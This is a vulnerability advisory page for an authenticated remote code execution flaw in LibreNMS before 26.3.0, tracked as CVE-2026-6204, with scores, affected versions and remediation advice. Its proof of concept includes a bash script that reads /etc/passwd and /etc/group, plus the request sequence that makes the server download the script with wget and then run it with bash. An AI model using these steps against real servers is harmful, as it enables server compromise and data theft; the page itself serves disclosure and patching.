8.5high
LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write
- Severity
- 8.5high CVSS:4.0 by PRJBLK
- Exploit likelihood
- 7.83% (higher than 94% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- PRJBLK
- Also known as
- GHSA-pr3g-phhr-h8fh
Description
LibreNMS versions before 26.3.0 are affected by an authenticated remote code execution vulnerability by abusing the Binary Locations config and the Netcommand feature. Successful exploitation requires administrative privileges. Exploitation could result in compromise of the underlying web server.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| librenms librenms | before 26.3.0 | CVE List, NVD |
| librenms/librenms (Packagist) | from 1.48 before 26.3.0 | GitHub Advisory Database |
All scores
| PRJBLK | 8.5high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| NVD | 7.2high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
LibreNMS versions before 26.3.0 are affected by an authenticated remote code execution vulnerability by abusing the Binary Locations config and the Netcommand feature. Successful exploitation requires administrative privileges. Exploitation could result in compromise of the underlying web server.
GitHub Advisory Database
Summary
A vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.
Details
The application allows administrative users to configure the absolute binary paths for network diagnostic tools at /settings/external/binaries. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These tools are invoked by sending a request to the GET /ajax/netcmd endpoint. While there is an existing input filter designed to restrict arguments to valid IP addresses or hostnames, this filter can be bypassed.
PoC
To reproduce this vulnerability, a remote HTTP server should be hosted with a malicious script/executable, ensure the remote server is reachable by the server running LibreNMS. The PoC will use the file malicious.sh containing the following content. It will return the content of /etc/passwd and /etc/group, current working directory, username that is running the script, and it will list files of the current directory.
#!/usr/bin/env bash
cat /etc/passwd
cat /etc/group
whoami
pwd
ls
-
Host a remote HTTP server that the server can reach and place the malicious script on the remote server. For demonstration, I will start it on localhost.
image -
Make sure the malicious script
imagemalicious.shcan be downloaded. -
Login with an admin account and navigate to Global Settings -> External -> Binary Locations
image -
Change the whois binary path to the path of wget (e.g. /usr/bin/wget).
image -
Send the request
imageGET /ajax/netcmd?cmd=whois&query={remote http server's ip address}/malicious.sh. The response should contain wget's output, and malicious.sh would be downloaded by the server. -
After that, change the whois binary path to the path of bash (e.g. /bin/bash).
image -
Send the request GET /ajax/netcmd?cmd=whois&query=malicious.sh to execute the script.
image
Impact
This vulnerability allows a malicious actor to achieve Remote Code Execution (RCE), potentially leading to complete system compromise, data exfiltration, or lateral movement within the network.
Remediation Advice
Loading Binary Path from a config file instead of exposing settings in WebUI can eliminate this issue. If it is not possible, enforcing more validations and fix the ip_or_hostname bypass in https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 to reduce the risk of RCE.
Prerequisite
The attacker must have a valid Administrator account to exploit this vulnerability.
References
| https://github.com/librenms/librenms/security/advisories/GHSA-pr3g-phhr-h8fh | third-party-advisory, vendor-advisory, web | |
| https://projectblack.io/blog/librenms-authenticated-rce-and-xss/#binary-path-rce-poc | exploit, third-party-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-6204 | advisory | |
| https://github.com/librenms/librenms | package | |
| https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 | web | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-6204 changed 2026-04-13 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-pr3g-phhr-h8fh changed 2026-04-14 | CC-BY-4.0 |
| NVD | CVE-2026-6204 changed 2026-06-17 | Public domain |